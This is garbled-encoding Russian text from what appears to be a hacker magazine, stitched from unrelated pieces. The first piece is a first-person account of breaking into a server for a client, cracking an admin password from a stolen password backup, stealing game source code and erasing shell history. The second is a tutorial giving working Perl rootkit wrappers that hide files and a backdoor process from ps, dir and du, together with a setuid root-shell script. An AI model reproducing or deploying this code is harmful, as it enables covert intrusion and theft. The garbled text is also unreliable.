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íó, çàòî âñå ëîãèíû ñ mail-ñåðâåðà äàâàëè äîñòóï ê ãëàâíîìó
ñåðâàêó, ãäå õðàíèëèñü èñõîäíèêè. Çíà÷èò íà ýòîé ìàøèíå-
äâîéíèêå åñòü øàíñ íàéòè ïîëåçíóþ èíôó, êîòîðàÿ ïîçâîëèò
ìíå ïðîäâèíóòüñÿ äàëüøå è ïîäíÿòü ñâîè ïðàâà äî îäíîãî èç
sudo'åðîâ íà ftp.abs.net, à ïîòîì, íàêîíåö-òàêè, ïîëó÷èòü çàâåò-
íûé äîñòóï ê ftp-àðõèâó. Öåëü áûëà áëèçêà, è ïåðåäî ìíîé ÿâ-
íî ñòîÿëà îäíà çàäà÷à � ñòàòü îäíèì èç sudo'åðîâ.

[ïîõèùåíèå èñõîäíèêîâ] ß, íå òîðîïÿñü, ñòàë èçó÷àòü êàòàëî-
ãè àäìèíèñòðàòîðîâ â /usr/home, õîòÿ îäèí þçåð ïîä íèêîì «noc»
âñå-òàêè ïîñòàâèë ïðàâà 000 íà ñâîþ ïàïêó. «Íàâåðíîå, ñàìûé
êðóòîé», � ïîäóìàë ÿ. Õèñòîðè íåêîòîðûõ þçåðîâ ìîæíî áûëî
ñâîáîäíî ÷èòàòü. ß äàæå íàøåë îøèáêè â êîìàíäàõ � ñóäîåðû
ââîäèëè íå «su», à «s», íî òóò æå èñïðàâëÿëèñü, íå ââîäÿ ðóòîâûé
ïàññ :). Ãðàìîòíûé ÷èòàòåëü, íàâåðíîå, çàìåòèò, ÷òî äàæå, åñëè ÿ è
çàèìåþ ðóòîâûé ïàðîëü, òî ñäåëàòü «su» íå óäàñòñÿ, òàê êàê äëÿ
ýòîãî íóæíî ïðèíàäëåæàòü ê îñîáîé ãðóïïå wheel. Õîòÿ ñ äðóãîé
ñòîðîíû, íè÷òî íå ìåøàëî ïîïðîáîâàòü çàëîãèíèòüñÿ ïîä ðóòîì íà
ssh, telnet èëè ftp è, ìîæåò áûòü, îäèí èç ñåðâèñíûõ äåìîíîâ ðàç-
ðåøàë áû root login. Íî, ê íåñ÷àñòüþ, âñå ïîèñêè îêàçàëèñü òùåò-
íûìè. Íè â îäíîì èç ÷èòàáåëüíûõ .history íè÷åãî ïîëåçíîãî íå áû-
ëî. Íî â ïàïêå îäíîãî òîâàðèùà, ñðåäè êó÷è íåíóæíûõ äîêóìåíòîâ,
ïèñåì è îáúÿâëåíèé, ÿ óâèäåë çàíèìàòåëüíûé àðõèâ var.tgz, êîòî-
ðûé íåðåàëüíî ìíîãî âåñèë. ß íåìíîãî ïîêîëåáàëñÿ, íî ïîòîì âñå-
òàêè çàøåë íà òà÷êó, ïðåäîñòàâëåííóþ çàêàç÷èêîì (âûäåëåíêà
âñå æå ïîáûñòðåå ìîåãî òîðìîçíóòîãî CSD-ñîåäèíåíèÿ), è ñòàíäà-
ðòíûì íèêñîâûì ftp-êëèåíòîì çàáðàë àðõèâ. Ïîëó÷èâ ñîìíèòåëü-
íîãî âèäà ôàéë, ÿ âðåìåííî îòêëþ÷èëñÿ îò ñåðâåðà abs.net, ÷òîáû
â ñïîêîéíîé îáñòàíîâêå èçó÷èòü óêðàäåííûé àðõèâ.
Âíóòðè, äåéñòâèòåëüíî, íàõîäèëàñü ñæàòàÿ äèðåêòîðèÿ /var, íî
òåïåðü ÿ ìîã ïðîñìàòðèâàòü âñå ïîäïàïêè â íåé. Ñàìûì èíòåðåñ-
íûì äëÿ ìåíÿ áûë êàòàëîã backups, êîòîðûé áûë íåäîñòóïåí íà
îáåèõ ëîìàåìûõ ìàøèíàõ. Çíàåøü, ÷òî áûëî òàì? Master.pass-
wd.bak, äàòèðîâàííûé ýòèì ìåñÿöåì! Íà óëèöå óæå ñâåòàëî, ïîý-
òîìó íóæíî áûëî êàê ìîæíî áûñòðåå âñêðûòü ïàðîëè, ñëèòü ñîð-
öû è ñìàòûâàòüñÿ èç ýòîé ïðîêëÿòîé ñåòè. Õîòÿ ÿ äóìàë, ÷òî ïå-
ðåáðàòü õýøè áûñòðî íå ïîëó÷èòüñÿ (àäìèíñêèé ñîñòàâ âñå-òàêè
ñòàâèò íà ñâîè ó÷åòíûå çàïèñè íåïðîñòûå ïàññû), íî âîïðåêè
âñåì ïåññèìèñòè÷åñêèì âçãëÿäàì, ÷åðåç 10 ìèíóò ïàññ noc'à ðàñ-
êîëîëñÿ. Íåñìîòðÿ íà òî, ÷òî ÷åëîâåê ïîçàáîòèëñÿ î ñîõðàííîñòè
ñâîèõ äîêóìåíòîâ, ãðàìîòíî âûñòàâèâ ïðàâà äîñòóïà, îí èñïîëü-
çîâàë ýëåìåíòàðíûé ïàðîëü, êîòîðûé âûçâàë ó ìåíÿ óëûáêó. Íå
òåðÿÿ íè ìèíóòû, ÿ çàëîãèíèëñÿ ïîä ïîëüçîâàòåëåì noc è ïåðå-
øåë â /ftp/incoming. Ïðîùå âñåãî ïîëó÷èòü äîñòóï ê íóæíûì ôàé-
ëàì: íóæíî áûëî èçìåíèòü cmod'îì ïðàâà, çàëîãèíèòüñÿ íà ôòï
è ñêà÷àòü èõ. Íî òóò âûÿñíèëàñü îäíà ôèøêà � âëàäåëåö ôàé-
ëîâ áûë íå ÿ, à âîîáùå ëåâûé ïîëüçîâàòåëü nobody (íå ïóòàòü ñ
web-ñåðâåðîì, êîòîðûé áûë çàïóùåí ïîä ó÷åòíîé çàïèñüþ www).
Íåò � òàê íåò, çíà÷èò, ìîæíî ñîäðàòü âñå ôàéëû noc'ó â äîìàø-
íèé êàòàëîã, çààðõèâèðîâàòü è òðàíñïîðòèðîâàòü èõ íà êîìïüþ-
òåð çàêàç÷èêà. Èìåÿ íà ðóêàõ ïîëíûé ëèñòèíã ôàéëîâ, êîìàíäóþ:

$ tar -zcf /usr/home/noc/xarchive.tar.gz /ftp/incoming/*.zip

Ïîñëå ýòèõ íåõèòðûõ ìàíèïóëÿöèé ÿ ïåðåìåñòèë àðõèâ÷èê â îäíó
èç ñàìûõ ãëóáîêèõ ïàïîê. ×òîáû íàãëûå áóðæóè íå çíàëè, ÷òî ÿ
íàøàìàíèë â àäìèíñêîé êîíñîëè, ðåøåíî áûëî ñíåñòè õèñòîðè:

$ echo " "> .history

Òåïåðü îñòàâàëîñü òîëüêî ñêà÷àòü çàâåòíûé è äîðîãîñòîÿùèé àðõèâ
íà òà÷êó ê ðàáîòîäàòåëþ. Ìîæíî áûëî þçàòü îáû÷íûé ftp-êëèåíò, íî
ìíå ýòî ïîêàçàëîñü íåóäîáíûì, è ÿ ðåøèë èñïîëüçîâàòü wget:

# wget --ftp-user=userok --ftp-pass=pass
ftp://ftp.abs.net//path/to/xarchive.tar.gz&

Âñå, ïðîöåññ îòïðàâèëñÿ æèòü â áýêãðàóíäå, à ìû æäåì ïåðåäà-
÷è òÿæåëîâåñíîãî êîäà. Ïîñëå óñïåøíîãî òðàíñôåðà îñòàâà-
ëîñü äîæäàòüñÿ íàíÿâøåãî ìåíÿ ÷åëîâåêà è îòðàïîðòîâàòü, ÷òî
ìèññèÿ óñïåøíî âûïîëíåíà. ×åðåç íåêîòîðîå âðåìÿ ÿ ïîëó÷èë
â ñâîè ðóêè ýêñêëþçèâíóþ êîïèþ ýòîé ÐÏÃ'øêè è ïîëíóþ
èíñòðóêöèþ óñòàíîâêè îò ïîäåëüíèêà � âñå, êàê è äîãîâàðèâà-
ëèñü. Êàæäûé ïîëó÷èë òî, ÷òî õîòåë � ðàáîòîäàòåëü êëàññíóþ
èãðóøêó â ñâîþ êîëëåêöèþ, à ÿ � èñõîäíûé êîä îäíîãî èç ñà-
ìûõ ïîïóëÿðíûõ èãðîâûõ web-ïðîåêòîâ íàøèõ äíåé. Íà ýòîé ïî-
çèòèâíîé íîòå ñïåøó îòêëàíÿòüñÿ. Óäà÷è, íå ïîïàäàéñÿ :)[X
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ñïèñîê ëîêàëüíûõ ïîëüçîâàòåëåé

â ïîãîíå çà âàëèäíûìè àêêàóíòàìè

ïðîíèêíîâåíèå ê ñåðäöó ñèñòåìû

ñòðîãèé êîíòðîëü äîñòóïà ê ôàéëàì





ÍÈ ÄËß ÊÎÃÎ ÍÅ ÑÅÊÐÅÒ, ×ÒÎ ÏÎ-
ÑËÅ ÏÎËÓ×ÅÍÈß ÐÓÒÎÂÛÕ ÏÐÀÂ ÍÀ
ÂÇËÎÌÀÍÍÎÌ ÑÅÐÂÅÐÅ ÁÎËÜØÈÍ-
ÑÒÂÎ ÕÀÊÅÐÎÂ ÓÑÒÀÍÀÂËÈÂÀÞÒ Â
ÑÈÑÒÅÌÓ ÐÓÒÊÈÒ, ×ÒÎÁÛ ÇÀÊÐÅ-
ÏÈÒÜÑß ÍÀ ÌÀØÈÍÅ È ÓÄÅÐÆÀÒÜ
ÑÂÎÉ ÄÎÑÒÓÏ ÊÀÊ ÌÎÆÍÎ ÄÎËÜ-
ØÅ. ÂÎÎÁÙÅ, Â ÑÅÒÈ ÌÎÆÍÎ ÍÀÉ-

ÒÈ ÄÅÑßÒÊÈ ÐÀÇÍÎÎÁÐÀÇÍÛÕ ÏÐÎ-
ÅÊÒÎÂ, ÌÍÎÃÈÅ ÈÇ ÊÎÒÎÐÛÕ ßÂËß-
ÞÒÑß ÍÀÑÒÎßÙÈÌÈ ÏÐÎÃÐÀÌÌÅÐ-
ÑÊÈÌÈ ØÅÄÅÂÐÀÌÈ È ÏÎÇÂÎËßÞÒ
ÇÀÌÀÑÊÈÐÎÂÀÒÜ ÏÐÈÑÓÒÑÒÂÈÅ Â
ÑÈÑÒÅÌÅ ÂÇËÎÌÙÈÊÀ ÒÀÊÈÌ ÎÁ-
ÐÀÇÎÌ, ×ÒÎ ÎÁ ÝÒÎÌ ÍÅ ÑÌÎÆÅÒ
ÄÎÃÀÄÀÒÜÑß ÄÀÆÅ ÎÏÛÒÍÛÉ ÀÄ-

ÌÈÍÈÑÒÐÀÒÎÐ. ÎÄÍÀÊÎ ÏÐÀÊÒÈ-
ÊÀ ÏÎÊÀÇÛÂÀÅÒ, ×ÒÎ ÍÅ ÂÑÅÃÄÀ
ÖÅËÅÑÎÎÁÐÀÇÍÎ ÓÑÒÀÍÀÂËÈ-
ÂÀÒÜ ÒßÆÅËÎÂÅÑÍÛÅ ÐÓÒÊÈÒÛ.
ÈÍÎÃÄÀ ÄÎÑÒÀÒÎ×ÍÎ ÈÑÏÎËÜÇÎ-
ÂÀÒÜ ÝËÅÌÅÍÒÀÐÍÛÅ ÍÀÐÀÁÎÒÊÈ,
ÊÎÒÎÐÛÅ ÌÎÆÅÒ ÐÅÀËÈÇÎÂÀÒÜ
ÊÀÆÄÛÉ | Þðèé Ãîëüöåâ (uriy.goltsev@rambler.ru)

[íà÷àëî íà÷àë] Äëÿ íà÷àëà, äóìàþ, ñëåäóåò ðàçîáðàòüñÿ, ÷òî âîîáùå òà-
êîå rootkit è ÷åì îòëè÷àåòñÿ ÿäåðíûå ðóòêèòû îò ñâîèõ non-kernel áðàòüåâ.
Åñëè ìûñëèòü íåñêîëüêî àáñòðàêòíî, òî rootkit � ýòî ñðåäñòâî, ïîçâîëÿþ-
ùåå çàìàñêèðîâàòüñÿ â ñèñòåìå è óäåðæàòü ìàêñèìàëüíûå ïðàâà ïðè àê-
òèâíîì èñïîëüçîâàíèè âçëîìàííîãî êîìïüþòåðà. 
ßäåðíûé ðóòêèò ïðåäñòàâëÿåò ñîáîé ïîäãðóæàåìûé ìîäóëü ÿäðà ñèñòå-
ìû, êîòîðûé ïåðåõâàòûâàåò ñèñòåìíûå âûçîâû ïîëüçîâàòåëÿ, òåì ñà-
ìûì, êîíòðîëèðóÿ è óòàèâàÿ îò àäìèíèñòðàòîðà èíôîðìàöèþ î íåçàêîí-
íûõ äåéñòâèÿõ. Îáû÷íî äëÿ ðàçíûõ ÿäåð íóæíû ñâîè ðóòêèòû, òàê êàê â
ðàçíûõ ñèñòåìàõ èñïîëüçóþòñÿ ðàçëè÷íûå àäðåñà ôóíêöèé, êîòîðûå êîí-
òðîëèðóåò ðóòêèò. Â äàííîé æå ñòàòüå ÿ ïîâåäàþ î òîì, êàê íàïèñàòü íå-

Ñîçäàíèå ýëåìåíòàðíîãî 
íåÿäåðíîãî ðóòêèòà

ñëîæíûé íå ÿäåðíûé ðóòêèò, ñêðû-
âàþùèé îò ïîñòîðîííèõ ãëàç ñâîè
ñîáñòâåííûå ôàéëû, çàïóùåííûå
ïðîöåññû è ïîäêëþ÷åíèÿ ê áýêäîðó.
Ñðàçó ñêàæó, ÷òî ìû íå áóäåì ïå-
ðåïèñûâàòü òàêèå óòèëèòû, êàê ls,
ps, netstat äëÿ òîãî, ÷òîáû ñêðûòü
ïðèñóòñòâèå ðóòêèòà â ñèñòåìå. Ìû ïîñòóïèì íàìíîãî ïðîùå, õîòÿ ýòî
è ñîâñåì íå áåçîïàñíî � ïðîñòî çàìåíèì ýòè óòèëèòû ñêðèïòàìè, êî-
òîðûå áóäóò îáðàáàòûâàòü ïåðåäàâàåìûå ñ êîíñîëè ïàðàìåòðû, ïåðå-
íàïðàâëÿòü èõ îðèãèíàëüíîé óòèëèòå, ïîëó÷àòü îò íåå îòâåò, îáðàáàòû-
âàòü åãî è âûâîäèòü ïîëüçîâàòåëþ ýòîò ðàôèíèðîâàííûé ðåçóëüòàò.
Ïåðâûì äåëîì íåîáõîäèìî âñå ïðîàíàëèçèðîâàòü è ïîíÿòü, ñ ÷åãî íà÷è-
íàòü ðàáîòó. ß ðàçäåëþ ñîçäàíèå ðóòêèòà íà òðè ýòàïà:

Íå çàáóäü, ïîñëå òîãî, êàê
âñå ñöåíàðèè ãîòîâû, äëÿ
èõ çàïóñêà òåáå íåîáõîäè-
ìî óñòàíîâèòü íà íèõ
chmod 755, ÷òîáû îíè ñòà-
ëè èñïîëíÿåìûìè.

Ñèñòåìíûé ììàñêàðàä
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êó èõ íàïèñàíèå íàìíîãî ïðîùå â äàííîé êàòåãîðèè.
Çàäàäèì êàêîé-íèáóäü ïåðåìåííîé ïóòü äî ïàïêè, â êîòîðîé ëåæàò îðèãè-
íàëüíûå óòèëèòû è íàõîäÿòñÿ íåêîòîðûå ôàéëû ðóòêèòà:

$kit_path="/bin/rootkit";

Ýòà ñòðîêà, êñòàòè, áóäåò ïðèñóòñòâîâàòü ïî÷òè âî âñåõ ôàéëàõ íàøåãî áó-
äóùåãî ðóòêèòà. Ïåðâûì äåëîì íåîáõîäèìî íàïèñàòü êîä, êîòîðûé ïðîâå-
ðÿåò âõîäÿùèå àðãóìåíòû. Òî åñòü åñëè êòî-òî çàïóñòèò óòèëèòó dir ñ ïàðà-
ìåòðîì /bin/rootkit, òî â îòâåò åìó âûâåäåòñÿ íå àòðèáóòû íàøåé ïàïêè, à ñî-
îáùåíèå, óêàçûâàþùèåå íà òî, ÷òî ïàïêà íå ñóùåñòâóåò. Äàííûé êîä äî-
ñòàòî÷íî ëåãêî ðåàëèçîâàòü:

$pwd=`pwd`; 
# îïðåäåëÿåì ìåñòîíàõîæäåíèå ïîëüçîâàòåëÿ â ñèñòåìíûõ êàòàëîãàõ
foreach $arg(@ARGV) 
# ïðîâåðÿåì êàæäûé ýëåìåíò ìàññèâà ïàðàìåòðîâ çàïóñêà
{
if(($arg eq "/bin/rootkit/") || ($arg eq "rootkit")&&($pwd eq "bin"))
# åñëè àðãóìåíò ðàâåí /bin/rootkit -
# ðàñïîëîæåíèå íàøåé ïàïêè ñ ðóòêèòîì, òî âûïîëíÿåì ñëåäóþùåå
{print "dir : $arg : No such file or directory\n";exit();}
#âûâîäèì ñîîáùåíèå î òîì, ÷òî òàêîé ïàïêè èëè ôàéëà íå ñóùåñòâóåò
}

Ïîñëå ýòîãî çàïóñêàåì óòèëèòó dir ñ ïåðåäàííûìè íàøåìó ñêðèïòó
ïàðàìåòðàìè:

$dir=`/bin/rootkit/dir @ARGV`;

1 Ñîçäàíèå ïðîãðàìì, ñêðûâàþùèõ ôàéëû ðóòêèòà

2 Ñîçäàíèå ïðîãðàìì, ñêðûâàþùèõ ïðîöåññû

3 Íàïèñàíèå íåñêîëüêèõ ñêðèïòîâ äëÿ óäîáñòâà ðàáîòû ñ ðóòêèòîì

Èòàê, ïðèñòóïèì. Êàê óæå ãîâîðèëîñü ðàíåå, ÿ íå ñîáèðàþñü ïåðåçà-
ïèñûâàòü óòèëèòû, ïðèñóòñòâóþùèå â ñèñòåìå � ÿ ïðîñòî ïåðåìåùó
èõ â ïàïêó ñ íåïðèìåòíûì íàçâàíèåì, âðîäå /bin/sysctl, îñòàâèâ íà
èõ ìåñòå ñîáñòâåííûå ñêðèïòû-îáîëî÷êè, êîòîðûå áóäóò óïðàâëÿòü
ðàáîòîé ñèñòåìíûõ óòèëèò. Ðàçóìååòñÿ, ÷òî òàêîé ñöåíàðèé íå ñà-
ìûé íåçàìåòíûé: ëþáàÿ àíòèòðîÿííàÿ ñèñòåìà ìèãîì íàñ çàïàëèò.
Ïîýòîìó íàäî ïîíèìàòü, ÷òî âñå, î ÷åì ÿ ãîâîðþ, ïðèìåíèìî äëÿ
ñëàáîçàùèùåííûõ ñåðâåðîâ è ïðåäñòàâëÿåò ñîáîé, ïðåæäå âñåãî,
ïðîñòî èíòåðåñíóþ ïðàêòèêó.

[íà÷íåì ïðîãðàììèðîâàòü] Íà÷íåì ñ ñîçäàíèÿ ïðîãðàìì, ñêðûâàþ-
ùèõ ôàéëû áóäóùåãî ðóòêèòà. Òî åñòü íàì íóæíî çàìåíèòü òàêèå óòèëèòû,
êàê ls , dir è du íà ñîáñòâåííûå ñêðèïòû-îáåðòêè. Íà÷íåì ñ dir è du, ïîñêîëü-

Â ñîñòàâå ñèñòåìû, êîòî-
ðóþ òû íàéäåøü íà íàøåì
äèñêå, åñòü ñêðèïò install.pl
- èìåííî ñ íåãî ñëåäóåò íà-
÷àòü ðàáîòó :).

Íà íàøåì äèñêå òû íàé-
äåøü ïîëíûé êîìïëåêò
ñêðèïòîâ-îáîëî÷åê, êîòî-
ðûå ìîæíî èñïîëüçîâàòü 
â êà÷åñòâå äåòñêîãî ðóòêèòà.
Îäíàêî ïðàêòèêà ïîêàçûâà-
åò, ÷òî â áîëüøèíñòâå ñëó-
÷àåâ òàêîãî íàáîðà âïîëíå
äîñòàòî÷íî, ÷òîáû ïðÿòàòü-
ñÿ îò àäìèíîâ ìåñÿöàìè.
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Â ïåðåìåííóþ $sher çàïèñàëèñü âñå
äàííûå, êîòîðûå âûäàëà óòèëèòà dir
ïîñëå îêîí÷àíèÿ ñâîåé ðàáîòû. Òå-
ïåðü ïåðåä òåì, êàê âûâîäèòü äàí-
íûå ïîëüçîâàòåëþ, íåîáõîäèìî ïðî-
âåðèòü èõ íà ïðèñóòñòâèå èíôîðìà-
öèè î ôàéëàõ íàøåãî ðóòêèòà. Òî
åñòü, åñëè þçåð çàïóñòèò óòèëèòó dir
äëÿ ïàïêè /bin, â îòâåòå îí íå äîë-
æåí óâèäåòü ïàïêó /bin/rootkit.
Ìû îñòàíîâèëèñü â íàøåì êîäå
íà òîì, ÷òî çàïèñàëè â ïåðåìåí-
íóþ $dir âûõîäíûå äàííûå ñ óòè-
ëèòû dir. Òåïåðü íóæíî ýòè äàí-
íûå ãðàìîòíî îáðàáîòàòü è âûâå-
ñòè ïîëüçîâàòåëþ:

@dirz=split(/  /,$dir); #ðàçðåçàåì $dir íà íåñêîëüêî ñòðîê ïî 2 ïðîáåëàì
#íà÷èíàåì ïðîâåðêó äàííûõ, è, åñëè ïîòðåáóåòñÿ, çàìåíó:
$count=0;
foreach $dirz(@dirz)
{
$count++;
if ($dirz =~ /$kit_path/){$dirz=""} # èùåì «/bin/rootkit»
if (($dirz =~ /rootkit/)&&($pwd=="/bin")){$dirz=""} # èùåì «rootkit»
if ($count == scalar(@dirz) ){print "$dirz";exit();}
print "$dirz ";
}

×òî æ, ìîãó òåáÿ îáðàäîâàòü � ñêðèïò, óïðàâëÿþùèé âûõîäíûìè äàí-
íûìè ñ óòèëèòû dir, ãîòîâ. Îñòàëîñü òîëüêî ïåðåìåñòèòü îðèãèíàëüíóþ
óòèëèòó â ïàïêó /bin/rootkit, à íà åå ìåñòî ñêîïèðîâàòü òîëüêî ÷òî íàïè-
ñàííóþ íàìè ïðîãðàììó. Â äàëüíåéøåì, òî åñòü ïîñëå òîãî, êàê âñå
ôàéëû íàøåãî ðóòêèòà áóäóò ãîòîâû, òû äîëæåí èõ ñêðûòü. Â ñëó÷àå,
åñëè òû ïåðë íå çíàåøü, èëè çíàåøü î÷åíü ïëîõî, òî òåáå ïîíàäîáèòüñÿ
óìåíèå ïðàâèëüíî ïðîãðàììèðîâàòü ìåòîäîì copy & paste, è ïîäïðà-
âèòü íåìíîãî ïóòè äî ïðîãðàìì :).

[ïðèñòóïèì ê du] Ïåðåõîäèì ïëàâíî ê äðóãîé óòèëèòå � du. Îïèñû-
âàòü êîä öåëèêîì ÿ íå áóäó: àëãîðèòì âñå óæå ïîíÿëè. Ïåðâûì äåëîì
ïðîâåðÿåì àðãóìåíòû, äàëåå çàïóñêàåì ïðîãðàììó, ïîëó÷àåì îòâåò, îá-
ðàáàòûâàåì è âûâîäèì ïîëüçîâàòåëþ. Ñêåëåòîì äëÿ du ìîæåò ïîñëó-
æèòü íàø ñêðèïò dir. À òåïåðü îñíîâíîå: óòèëèòû du è ls âûäàþò èíôîð-
ìàöèþ î ðàçìåðå ôàéëà â ñèñòåìå, à òàêæå íåêîòîðûå èíäèâèäóàëüíûå
äëÿ êàæäîãî ôàéëà àòðèáóòû. Òî åñòü, åñëè êòî-íèáóäü âûïîëíèò êîìàí-
äó du /bin èëè ls -l /bin, òî ñêîðåå âñåãî íàø ðóòêèò áóäåò ðàññåêðå÷åí, òàê
êàê ðàçìåðû âñåõ ïåðåäåëàííûõ íàìè óòèëèò, åñòåñòâåííî, áóäóò íå ñîâ-
ïàäàòü ñ ðàçìåðàìè îðèãèíàëîâ. Âîò ýòî íàì è íóæíî ñêðûòü. Íà÷íåì.
Ïîñêîëüêó ñïèñîê ñêðûâàåìûõ ôàéëîâ � øòóêà èíäèâèäóàëüíàÿ è ïîäâèæ-
íàÿ, òî ðàöèîíàëüíî ñîçäàòü óíèâåðñàëüíûé êîä, ÷òîáû â íåãî â ëþáîé ìî-
ìåíò ìîæíî áûëî ÷òî-òî áûñòðî äîïèñàòü, è ãëàâíîå, ÷òîáû ýòî âñå ðàáîòà-
ëî. Ïîýòîìó ïåðâûì äåëîì â ïðîãðàììå ìû ñîçäàäèì ìàññèâ ñ èìåíàìè
ôàéëîâ, èíôîðìàöèþ î êîòîðûõ íóæíî èçìåíèòü:

@fake_tools=("/usr/bin/dir","/usr/bin/du");

Çàòåì íàïèøåì óíèâåðñàëüíóþ ôóíêöèþ äëÿ âñåõ ôýéêîâûõ ôàéëîâ:

[ôóíêöèÿ, èçìåíÿþùàÿ èíôîðìàöèþ 
î ìîäèôèöèðîâàííûõ ôàéëàõ íà èñõîäíóþ]

sub checkz {
@fak=split(/\//,$fake); #ðàçáèâàåì ïî «/» ïóòü äî ôýéêîâîé òóëçû
if (scalar(@fak)==3){$fak[3]=$fak[2];$fak[2]=$fak[1]}
if (($arg=~/$fak[3]/)&&($pwd eq "/$fak[1]/$fak[2]") || ($arg eq "$fake")) {
$diz=`/bin/rootkit/du $kit_path/$fak[3]`; #äîñòàåì äàííûå îá îðèãèíàëå
@ediz=split(/\t/,$diz);
if ($duz=~/$fak[3]/) {
print "$ediz[0]\t$fak[3]\n";exit(); } #âûâîäèì ÷àñòü äàííûõ îá îðèãèíàëå
if ($duz=="$fake") { print "$ediz[0]\t$fake\n"; exit(); }
}}

Àáñîëþòíî òàêîé æå êîä ìîæíî ðåàëèçîâàòü è äëÿ ls. Òîëüêî ïðèäåòñÿ íåì-
íîãî ïîäïðàâèòü âûâîä óæå ôýéêîâîãî ls'à. Êîíå÷íóþ ðåàëèçàöèþ òû íàé-
äåøü íà íàøåì äèñêå.

[òðè ÷àñòè ãîòîâû] Èòàê, ïîçäðàâëÿþ, òðåòüÿ ÷àñòü íàøåãî ðóòêèòà ãî-
òîâà. Ñåé÷àñ ìû ïåðåéäåì ê ñàìîìó ãëàâíîìó: ê ñîêðûòèþ íàøèõ ïðîöåñ-
ñîâ. Äëÿ ýòîãî íàì íåîáõîäèìî ñäåëàòü îáîëî÷êó äëÿ ps:

[îáîëî÷êà äëÿ ps]

#!/usr/bin/perl
$kit_path="/bin/rootkit";
$proc="klogb"; #èìÿ áýêäîð-ïðîöåññà â ñèñòåìå
$t=0;
@ps=`/bin/ps @ARGV`;
foreach $arg(@ARGV) {
if ($arg=~/$proc/) { $arg="" } }
foreach $ps(@ps) {
if ($ps=~/$proc/) { $ps="" } #ïðÿ÷åì ñåêðåòíûé ïðîöåññ
if ($ps=~/$kit_path/){$ps=""} #åñëè çàïóùåííûé ïðîöåññ íàõîäèòñÿ â
ñåêðåòíîé ïàïêå, ïðÿ÷åì è åãî
if (($ps=~/perl/) && ($ps=~/ps/)){$ps=""} #ïðè çàïóñêå /bin/ps â ñèñòåìå
ïîÿâÿòñÿ 2 íîâûõ ïðîöåññà: perl /bin/ps è ps. Óáèðàåì è èõ.
if ($ps=~/$kit_path\/ps/) {
@pss=split(/ /,$ps); foreach $pss(@pss) #âìåñòî /bin/rootkit/ps ïèøåì
ïðîñòî «ps»
{if ($pss=~/ps/){$pss="ps"}$t++;
if ($t==scalar(@pss)) {print "$pss"}
else {print "$pss ";}};}
else {print "$ps";}}

Âñå! Ôýéê-îáîëî÷êà äëÿ ps ãîòîâà ê óïîòðåáëåíèþ. Äëÿ óäîáñòâà îñòà-
ëîñü ëèøü íàêàòàòü ñêðèïò äëÿ ðàáîòû â ñèñòåìå, íàïðèìåð, äëÿ áû-
ñòðîãî ïîëó÷åíèÿ ñóèäíîãî øåëëà. ß ðåøèë íå èçîáðåòàòü âåëîñèïåä
è ïðîñòî ïðèâåäó ñêðèïò, êîòîðûé íàêîëáàñèë Ôîðá â îäíîì èç ïðî-
øåäøèõ íîìåðîâ:

#!/usr/bin/suidperl -U
foreach $arg(@ARGV) {
if ($arg eq "-suid_r0x") {
while (1){
print "[root\@owned] ";
chomp($cmd=<STDIN>);
print `$cmd`; }
}
else { print "No such file or directory\n"; exit() }
}

Äà, íå çàáóäü ïîñòàâèòü áèò +s ýòîìó ñöåíàðèþ :).

[íè÷åãî íå çàáûëè?] Êàê âèäèøü, íè÷åãî ñëîæíîãî! Íåìíîãî ôàíòà-
çèè � è ðóòêèò ãîòîâ. Íà äèñêå òû ìîæåøü íàéòè ïîëíûé ðóòêèò-êîì-
ïëåêò, â ñîñòàâ êîòîðîãî âõîäÿò ñêðèïòû-îáîëî÷êè äëÿ óòèëèò du, dir, ls,
find, locate, netstat è ps. Òàê, íè÷åãî íå çàáûëè?
Çàáûëè, ïðèÿòåëü! Ïðåäñòàâü, ê ïðèìåðó, ÷òî êòî-òî çàõî÷åò ñäåëàòü
cat äëÿ /bin/ls, ÷òî ïðîèçîéäåò â ýòîì ñëó÷àå? Îí óâèäèò ñîäåðæèìîå
íàøåãî ïåðëîâãî ñêðèïòà è â ìîìåíò ïðîïàëèò âñþ ìàçó! Äëÿ òîãî,
÷òîáû ýòîãî íå ïðîèçîøëî, íåîáõîäèìî ïðîñòî ñêîìïèëèðîâàòü íàøè
ïåðëîâûå ñêðèïòû â áèíàðíûå ôàéëû óòèëèòîé perlcc, êîòîðàÿ ïðè-
ñóòñòâóåò âî âñåõ unix-ñèñòåìàõ. Òåïåðü, åñëè êòî-òî ñäåëàåò cat
/bin/ls, òî îí óâèäèò ìíîæåñòâî ñîìíèòåëüíûõ ñèìâîëîâ, íàçûâàåìûõ
â íàðîäå «çþçþêàìè»
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âíóòðåííîñòè ñêîìïèëèðîâàííîãî
ïåðëîâîãî ñöåíàðèÿ íå ðàñïîëà-
ãàþò ê îáùåíèþ





ÍÀ ÇÅÌËÞ ÍÀÄÂÈÃÀÅÒÑß ÒÜÌÀ. ÇÂÅÇÄÍÀß ÑÈËÀ ÍÀÑÒÓÏÀÅÒ ÏÎ ÂÑÅÌ ÍÀÏÐÀÂËÅÍÈßÌ È ÃÐÎÇÈÒ ËÈØÈÒÜ
ÑÊÐÎÌÍÎÃÎ ÇÀÐÀÁÎÒÊÀ ÐÎÑÑÈÉÑÊÈÕ ÏÈÐÀÒÎÂ: ÂÑÅ ÁÎËÜØÅ È ÁÎËÜØÅ ÏÐÎÈÇÂÎÄÈÒÅËÅÉ ÊÎÌÏÜÞÒÅÐ-
ÍÛÕ ÈÃÐ ÇÀÙÈÙÀÞÒ ÑÂÎÈ ÍÎÂÈÊÈ ÑÈËÎÉ ÇÂÅÇÄ. STARFORCE ÑÂÎÄÈÒ Ñ ÓÌÀ ÒÀÌÁÎÂÑÊÈÕ ÏÈÐÀÒÎÂ:
ÎÍÈ ÍÀ×ÈÍÀÞÒ ÁÈÒÜÑß ÃÎËÎÂÎÉ Î ÊÀÔÅËÜÍÛÉ ÏÎË ÑÂÎÈÕ ËÀÁÎÐÀÒÎÐÈÉ, ÏÈÒÜ ÌÅÒÈËÎÂÛÉ ÑÏÈÐÒ,
ÏÎÄÀÂÀÒÜ ÏÅÒÈÖÈÈ Î ÇÀÙÈÒÅ ÈÕ ÏÐÀÂ È ÎÐÃÀÍÈÇÎÂÛÂÀÒÜ ÏÐÎÔÑÎÞÇÛ. ÎÄÍÀÊÎ ÍÅ ÂÑÅ ÒÀÊ ÓÆ ÏËÎ-
